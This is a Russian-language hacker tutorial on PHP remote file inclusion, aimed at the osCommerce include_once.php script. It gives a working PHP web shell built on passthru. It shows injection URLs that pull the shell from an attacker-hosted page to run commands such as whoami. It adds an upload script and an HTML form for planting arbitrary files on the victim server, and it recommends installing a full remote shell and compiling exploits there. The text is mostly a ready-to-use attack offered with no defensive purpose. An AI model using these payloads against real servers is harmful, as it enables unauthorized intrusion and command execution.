.::InAttack - Xack - PHP Injection::.

Главная > Xack > PHP Injection:.

PHP Injection

Привет, кул хацкер! Сейчас мы с тобой будем разбираться с атаками класса PHP Source Injection, и выяснять, что можно сделать с их помощью доброго и полезного обществу. Удивительно, но очень многие кул хацкеры просто упускают из виду этот класс атак, а зря! Использовать уязвимость внедрения PHP кода крайне просто, зато какие будут результаты! Ну что, ты уже заинтересовался? Тогда поехали!

Ну-с, для начала немного теории. Не переживай, сильно я тебе не загружу, хотя не мешало бы :) Итак, атаки класса PHP Source Injection - это внедрение произвольного PHP кода в код сценария, который выполняется на сервере. Если ты слегка попаришься и полазишь по багтракам, то найдешь энное количество систем, подверженных данной уязвимости. Для примера я взял сценарий include_once.php, входящий в комплект osCommerce. Этот сценарий внедряет PHP файл, адрес которого получен в параметре include_file. Фишка в том, что расположение внедряемого сценария никак не проверяется, следовательно мы можем выполнить абсолютно любой PHP код, даже находящийся на другом серваке. Что нам в принципе и нужно. Открываем наш любимый Notepad aka Блокнот и пишем в нем следующюу пургу:

<? passthru($command); ?>

и сохраняем под именем shell.php. Это я тебе привел самый такой классический пример шелла на PHP. Специально для тех, кто не утруждался изучением этого крутейшего языка, поясняю - функция PassThru() выполняет команду операционной системы, полученную в качестве аргумента. Как видим, в качестве аргумента у нас переменная $command, а мы ее не определили. Самые хитрож... умные уже догадались, что эту переменную мы получим из строки запроса, т.е.:

http://www.server.com/shell.php?command=НашаКоманда

Это ясно? Тогда едем дальше. После того, как ты зальешь этот скрипт на свою хомепагу vasya.narod.ru, можно будет заняться собственно внедрением.

Так, ты еще помнишь, что мы собирались заюзать сценарий include_once.php? Допустим, у нас имеется некий сервак с этим сценарием, и находится он по адресу www.supersite.com/catalog/inludes/include_once.php. 0k, набивай в браузер эту фигню:

www.supersite.com/catalog/includes/include_once.php?include_file=
http://vasya.narod.ru/shell.php&command=whoami

В одну строчку, ясен пень. Заметь, при передаче аргумента нашему скрипту shell.php мы использовали символ &. Это оттого, что реально исполняется вовсе не shell.php, а include_once.php, и аргумент мы передаем тоже ему. А при передаче нескольких аргументов они должны разделяться символами &, как Митник завещал. С этим вопросов нет? Отлично. После исполнения этого запроса система покажет тебе твой уровень прав в системе. Точнее не твоих, а веб сервера, ведь это именно он исполняет твои команды. Если увидишь нечто, отличное от nobody, то тебе сильно повезло, т.к. в большинстве случаев админы не лохи, и не запускают сервак с высокими привелегиями. Но тем не менее это встречается ;)

Хорошо, теперь проверим, есть ли у тебя доступ на запись. Давай команду echo Fucking > fuck.txt, а потом ls. Если в листинге диры увидишь файл fuck.txt, то тебе снова повезло :) При таком раскладе возможно все, как и указано в названии статьи. Ты уже заметил, что работать по такой схеме не очень-то удобно? Хм, ну так давай сделаем, чтобы было удобно! Нам для этого понадобятся две вещи: скрипт для закачки файлов на сервер и форма для работы с этим скриптом. Итак, скрипт для закачки:

<?
if (is_uploaded_file($userfile)) {
move_uploaded_file($userfile, $serverfile);
}
?>

Этому скрипту мы должны будем передать аргументы $userfile и $serverfile, это имя закачиваемого файла на твоем компе и на сервере соответственно. Закачивай этот скрипт туда же, куда и shell.php в начале статьи. Допустим, у тебя это выглядит так:

vasya.narod.ru/upload.php

Для удобства мы организуем передачу аргументов через HTML форму. Форма будет примерно такой:

<form enctype="multipart/form-data" action="http://www.supersite/catalog/includes/include_once.php?
include_file=http://vasya.narod.ru/upload.php" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="100000">
Отправить файл: <input name="userfile" type="file">
Сохранить на сервере как: <input name="serverfile" type="text">
<input type="submit" value="Отправить">
</form>

Ну, как работать с этой формой ты, я думаю, разберешься :) Теперь ты можешь залить на сервак все, что угодно. Для начала я рекомендую phpRemView (бери его в разделе Файлы => Скрипты), у него куча возможностей, в том числе и закачка. Работать с этим скриптом - одно удовольствие.

Ну а что делать дальше? А все, что угодно! Можешь залить туда какой-нибудь эксплоит и скомпилировать прямо на серваке ;)
Автор: ChAos